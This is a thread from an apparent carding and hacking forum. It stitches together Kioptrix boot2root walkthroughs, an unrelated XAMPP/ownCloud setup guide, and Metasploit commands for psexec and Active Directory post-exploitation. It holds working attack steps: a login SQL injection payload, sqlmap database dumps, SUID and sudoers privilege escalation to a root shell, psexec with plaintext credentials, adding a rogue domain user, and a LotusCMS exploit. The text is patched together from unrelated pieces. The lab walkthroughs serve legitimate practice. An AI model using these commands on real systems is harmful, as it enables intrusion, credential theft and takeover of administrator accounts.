[Guide] How to Hack The Kioptrix Level-1.3 (Boot2Root Challenge)

[Guide] How to Hack The Kioptrix Level-1.3 (Boot2Root Challenge) - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Community (https://bhcforums.cc/Forum-Community)
+--- Forum: General Discussion (https://bhcforums.cc/Forum-General-Discussion)
+--- Thread: [Guide] How to Hack The Kioptrix Level-1.3 (Boot2Root Challenge) (/Thread-Guide-How-to-Hack-The-Kioptrix-Level-1-3-Boot2Root-Challenge)

[Guide] How to Hack The Kioptrix Level-1.3 (Boot2Root Challenge) - NINZA - 04-24-2020

This Kioptrix 4th VM Image is easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games is to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.

You can Download it from

[To see content please register here]

and run install in your VM.

Penetration Methodologies

Network scanning (netdiscover, Nmap)
Directory brute-force (dirb)
Login Form SQli
Spwaning tty shell
SUID Privilege escalation
Get root access and capture the flag

Let’s start!!
Turn on your attacking machine and use the netdiscover command to scan your local network to get target IP.
[Image: 1.png?w=687&ssl=1]

So we target at 192.168.1.106 let go for its enumeration and scan open ports and protocols. With help nmap aggressive scan we have observed several open port and service running on it.
[Image: 2.png?w=687&ssl=1]

Since port 80 is open so without wasting time we use dirb for directory brute-force attack and enumerated /john as a directory which could give something valuable to us.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Consequently, we explored URL

[To see content please register here]

in the web browser and notice john.php file. Awkwardly I didn’t found any treasured from inside this file.
[Image: 3.2.png?w=687&ssl=1]

Further, I came back to its home page and it was login page as shown below. Here we can try SQL injection for login.
[Image: 3.png?w=687&ssl=1]

So I simply enter the following and get login successfully.
Username: john
Password: ' or 1=1 #
1
2
Username: john
Password: ' or 1=1 #
[Image: 4.png?w=687&ssl=1]

And welcomed by following web page which serves actual credential for the user “john”
[Image: 5.png?w=687&ssl=1]

Since we port 22 is open for ssh and we have enumerated following credential so let’s try to login to access tty shell of victim’s machine and then execute below commands.
Username: john
Password: MyNameIsJohn
echo os.system('/bin/bash')
cd /var/www
1
2
echo os.system('/bin/bash')
cd /var/www
[Image: 7.png?w=687&ssl=1]

Then view its file and directory list where you will get checklogin.php file; open it for further step.
ls
cat checklogin.php
1
2
ls
cat checklogin.php
[Image: 8.png?w=687&ssl=1]

By reading it we conclude that MySQL user name is root with No password.
Now let try to login into MySQL server with the help of the following command and try to execute some malicious query through it.
mysql -u root -p
SELECT sys_exec('chmod u+s /usr/bin/find');
echo os.system('/bin/bash')
quit
1
2
3
4
mysql -u root -p
SELECT sys_exec('chmod u+s /usr/bin/find');
echo os.system('/bin/bash')
quit
By the mean of MySQL, we are trying to enable SUID bit for find command.
[Image: 9.png?w=687&ssl=1]

Now move to the /tmp directory and execute the following command for root access.
cd /tmp
touch raj
find raj -exec "whoami" \;
find raj -exec "/bin/sh" \;
ls
cat congrats .txt
1
2
3
4
5
6
cd /tmp
touch raj
find raj -exec "whoami" \;
find raj -exec "/bin/sh" \;
ls
cat congrats .txt
Yuppieee!!! We finished this task and complete the challenge.
[Image: 10.png?w=687&ssl=1]

XAMPP is the most popular PHP development environment. XAMPP is a completely free, easy to install Apache distribution containing MariaDB, PHP, and Perl. The XAMPP open source package has been set up to be incredibly easy to install and to use.

Download XAMPP from here:

[To see content please register here]

To install XAMPP, run the XAMPP setup and follow the on-screen commands

Once you follow the commands, it will start installing as shown in the given image :

Allow access to XAMPP in windows firewall
[Image: 3.png?w=687&ssl=1]

Now, start the XAMPP control panel and in the said panel, start Apache and MySQL services. If the service of Apache is not being started, then that is because the given ports 80 and/or 443 are not free. To change Apache ports, go to ‘Config’ button (next to the admin button in control panel.) And change the 1st and 2nd files.

In the first file, change all ports 80 to 81, and in the second file, change all ports 443 to 444.

Now, go to the installed XAMPP directory and paste the ownCloud server folder in installed directory/htdocs.

Usually, the installed directory is: C:\xampp\htdocs

About ownCloud:

OwnCloud is self-hosted file sync and share server. It provides access to your data through a web interface, sync clients or WebDAV while providing a platform to view, sync and share across devices easily — all under your control. ownCloud’s open architecture is extensible via a simple but powerful API for applications and plug-in and it works with any storage.

Download ownCloud server and client software both from

[To see content please register here]

Now, open your web browser and type:
localhost:81/ownCloud (assuming the name of the server is ownCloud)
Type in your admin username and admin password then. Do remember this name and password.
[Image: 6.png?w=687&ssl=1]

A popup window will then appear which will tell you that ownCloud clients are available for different mobile phones platform; you might want to check that out as well.

On the right-hand side top you will see your admin name, click on that and a popup window will fall having many options. Click on ‘users’.

You can see a bar on the top of the page, you ought to input your client ID and password. This client ID and password is the key to your cloud files for the client. So, the client will access the files you share with them in the next step with their ID and password that you give them. No one else but admin (that is you) can see all the clients. All you have to do is give your client their ID and password, and they are ready to use ownCloud.

Type in the details and click create.

Now once the client is created, go to the home page again and click on the upload button.
[Image: 10.png?w=687&ssl=1]

Choose a file to upload. I choose a text file and in the same row as your uploaded file there will be an option to share the file on the cloud. Choose that option and fill in the name of the client with which you want to share your file. I input the name of the client as Hacking Articles.

Now, on the client PC, install the ownCloud Desktop client software.
[Image: 12.png?w=687&ssl=1]

Input the IP address of the server followed by the port and directory.
In my case, the ownCloud client types:

[To see content please register here]

Now, the client inputs his/her username and password and connects to the server.
[Image: 14.png?w=687&ssl=1]

Here, select the owncloud folder which you will find in user in order to data sync.
[Image: 15.png?w=687&ssl=1]

Then, click on open ownCloud.
[Image: 16.png?w=687&ssl=1]

The client inputs his username and password again.
[Image: 17.png?w=687&ssl=1]

In the activity bar, the user can see the file shared by the admin.
[Image: 18.png?w=687&ssl=1]

Open Kali terminal type nmap -sV 192.168.0.104

you’ll see that port 445 is open, port 445 is a traditional Microsoft networking port. Specifically, TCP port 445 runs Server Message Block(SMB) over TCP/IP. This is a core means for communication on a Microsoft-based LAN

In Kali terminal type msfconsole

This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the “psexec” utility provided by SysInternals. This module is now able to clean up after itself. The service created by this tool uses a randomly chosen name and description.

msf > use exploit/windows/smb/psexec

msf exploit(psexec) > set rhost 192.168.0.104

msf exploit(psexec) > set rport 445

msf exploit(psexec) > set smbuser administrator

msf exploit(psexec) > set smbpass Ignite@123

msf exploit(psexec) > exploit

Find All Active Directory users

This module will enumerate computers included in the primary Domain

msf > use post/windows/gather/enum_ad_computers

msf post(enum_ad_computers) > set filter objectCategory=computer

msf post(enum_ad_computers) > set session 1

msf post(enum_ad_computers) > exploit

Find All Share Folder in Active Directory

This module will enumerate configured and recently used file shares.

msf > post/windows/gather/enum_shares

msf post(enum_shares) > set session 1

msf post(enum_shares) > exploit

Gather All Groups in Active Directory
This module will enumerate Active Directory groups on the specified domain.
msf > use post/windows/gather/enum_ad_groups
msf post(enum_ad_groups) > set session 1
msf post(enum_ad_groups) > exploit
[Image: 4.png?w=687&ssl=1]

To Add Any User in Active Directory

This module adds a user to the Domain and/or to a Domain group. It will check if sufficient privileges are present for certain actions and run getprivs for system. If you elevated privs to system,the Se Assign Primary Token Privilege will not be assigned. You need to migrate to a process that is running as system. If you don’t have privs, this script exits.

msf > use post/windows/manage/add_user_domain
msf post(add_user_domain) > set addtodomain true
msf post(add_user_domain) > set username hacker
msf post(add_user_domain) > set password abcd@123
msf post(add_user_domain) > set session 1
msf post(add_user_domain) > exploit
[Image: 6.png?w=687&ssl=1]

To Delete Any User from Active Directory

This module deletes a local user account from the specified server, or the local machine if no server is given.

msf > use post/windows/manage/delete_user

msf post(delete_user) > set username hacker

msf post(delete_user) > set session 1

msf post(delete_user) > exploit

Hello friends! Today we are going to take another CTF challenge known as Kioptrix: Level1.2 (#3) and it is another boot2root challenge provided for practice and its security level is for the beginners. So let’s try to break through it. But before please note that you can download it from here

[To see content please register here]

Penetrating Methodologies (Method 1)

Network Scanning (Nmap, netdiscover)
Surfing HTTP service port (80)
SQLMAP Scanning
Extract databases and user credentials
SSH access to the target with a specific user
Exploiting target with SUID bit and SUDO binaries
Get Root access and capture the flag.

Penetrating Methodologies (Method 2)

Network Scanning (Nmap, netdiscover)
Surfing HTTP service port (80)
Identifying exploit for the vulnerable CMS application
Exploiting the target via Metasploit
Get Root access and capture the flag.

Lets Breach!
Start off with finding the target using :
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Our target is 192.168.1.101 Now scan the target with nmap:
nmap -A 192.168.1.101
1
nmap -A 192.168.1.101
With the nmap scan result, you can see that HTTP services are running on 2 ports i.e ports 22,80
[Image: 2.png?w=687&ssl=1]

As we have HTTP service running we opened it in our browser with the IP

[To see content please register here]

. There is nothing significant on this webpage.
[Image: 3.png?w=687&ssl=1]

Click on the Blog option and below page will appear. Here we will get a clue to check out the page

[To see content please register here]

Before navigating to the website, let’s map the host entries for the URL kioptrix3.com to IP 192.168.1.101 in the host’s file as follows :
For Windows C:\windows\system32\drivers\etc\hosts
For Linux: /etc/hosts
[Image: 4.png?w=687&ssl=1]

Browse to the website

[To see content please register here]

and navigate on a few items
[Image: 5.png?w=687&ssl=1]

After navigating through the site, I found that by clicking on sorting options and photo id, the URL had a parameter of “id” which could signify a vulnerability to SQL injection. After putting ‘ after php?id=1 , i.e (by trying with

[To see content please register here]

’ ) the SQL error prompt appears. Hence this means that URL is prone to SQL injection.
[Image: 6.png?w=687&ssl=1]

Lets’ enumerate the databases with SQLMAP command to get more details
sqlmap -u kioptrix3.com/gallery/gallery.php?id=1 --dbs –batch
1
sqlmap -u kioptrix3.com/gallery/gallery.php?id=1 --dbs –batch
[Image: 7.1.png?w=687&ssl=1]

Upon successful completion of the SQLMAP scan, we came to know that the following databases listed are available on the website.
sqlmap -u kioptrix3.com/gallery/gallery.php?id=1 -T dev_accounts --dump
1
sqlmap -u kioptrix3.com/gallery/gallery.php?id=1 -T dev_accounts --dump
Upon further scan for the gallery database and specific table dev_accounts, we happen to find out 2 usernames as listed below
[Image: 7.png?w=687&ssl=1]

Perform SSH with the user loneferret as follows:
ssh [email protected]
1
ssh [email protected]
Let’s do the directory listing to find out more details
ls
1
ls
Upon listing, we find that we have 2 files checksec.sh and CompanyPolicy.README. I didn’t find checksec.h file of much help and proceeded to extract the contents of CompanyPolicy.README
cat CompanyPolicy.README
The output of the CompanyPolicy.README file reveals (refer screenshot below), that we may need to perform a sudo for the ht (editor). This may be a clue going forward
[Image: 8.png?w=687&ssl=1]

At this moment, let’s also check the contents of the sudo file
sudo –l
1
sudo –l
As per the output, the user loneferret is allowed to run HT Editor as sudo and that there is no password (NOPASSWD) set for this user while executing the command /usr/local/bin/ht
Run the HT Editor as sudo
Note: sudo ht will allow editing any file on the system. Hence we will edit the /etc/sudoers file. Before editing the sudoers file make sure to export TERM so we can use graphical component of our command
export TERM=xterm-color
sudo ht /etc/sudoers
1
2
export TERM=xterm-color
sudo ht /etc/sudoers
[Image: 9.png?w=687&ssl=1]

Once done, the HT editor will open up
[Image: 10.png?w=687&ssl=1]

Press F3 to open the file
[Image: 11.png?w=687&ssl=1]

Below is a snippet of /etc/sudoers file. Edit the file so that we can use sudo without limitations.
Refer the below entry in the file
loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht
1
loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht
[Image: 12.png?w=687&ssl=1]

Now change the entry for the user loneferret as follows
loneferret ALL=(ALL) NOPASSWD: ALL
1
loneferret ALL=(ALL) NOPASSWD: ALL
[Image: 13.png?w=687&ssl=1]

Upon changing the contents of the file, let’s run sudo su command from the users’ terminal
sudo su
1
sudo su
Hurrah! we have got the ROOT access !!
cd /root
1
cd /root
On performing the directory listing, we will get the congrats.txt file!
ls
1
ls
[Image: 14.png?w=687&ssl=1]

Method 2
Let’s explore another method of performing the same task
curl –v

[To see content please register here]

1
curl –v

[To see content please register here]

The curl command will provide the details of the website. With this, we also came to know that it is a CMS website as highlighted below in yellow (LotusCMS)
[Image: 15.1.png?w=687&ssl=1]

Now we will try to search for some exploit available in the Metasploit and fortunately we happen to found the exploit for LotusCMS
searchsploit LotusCMS
To use this exploit simply type the following in Metasploit:
use exploit/multi/http/lcms_php_exec
set rhost 192.168.1.101
set uri /
exploit
1
2
3
4
use exploit/multi/http/lcms_php_exec
set rhost 192.168.1.101
set uri /
exploit
Perform the directory listing and we will observe the gallery folder
ls
1
ls
Now navigate to the gallery folder and perform the directory listing. Here we can see many files.I browsed through many of these files; of which the file gconfig.php seems to be interesting.
cd gallery
ls
1
2
cd gallery
ls
[Image: 15.png?w=687&ssl=1]

Now let’s see if we can get some good information from the gconfig.php file
cat gconfig.php
1
cat gconfig.php
The output of the file shows the credentials for the gallery database
Username :root
Password : fuckeyou
1
2
Username :root
Password : fuckeyou
[Image: 16.png?w=687&ssl=1]

Let’s perform dirb for the URL

[To see content please register here]

dirb

[To see content please register here]

1
dirb

[To see content please register here]

With this, we will get information from many directories as shown in the output below. However, the directory phpmyadmin seems to be quite interesting, as it may have some important information to display
[Image: 17.png?w=687&ssl=1]

Browse the URL

[To see content please register here]

and enter the credentials (received from above)
[Image: 18.png?w=687&ssl=1]

Navigate to the gallery database, click on dev_accounts. Then click on the SQL tab and enter the SQL query below. We now have the usernames and password hashes!
[Image: 19.png?w=687&ssl=1]

For cracking the password hashes, we used the

[To see content please register here]

site

Hurray! We got the passwords as starwars and Mast3r!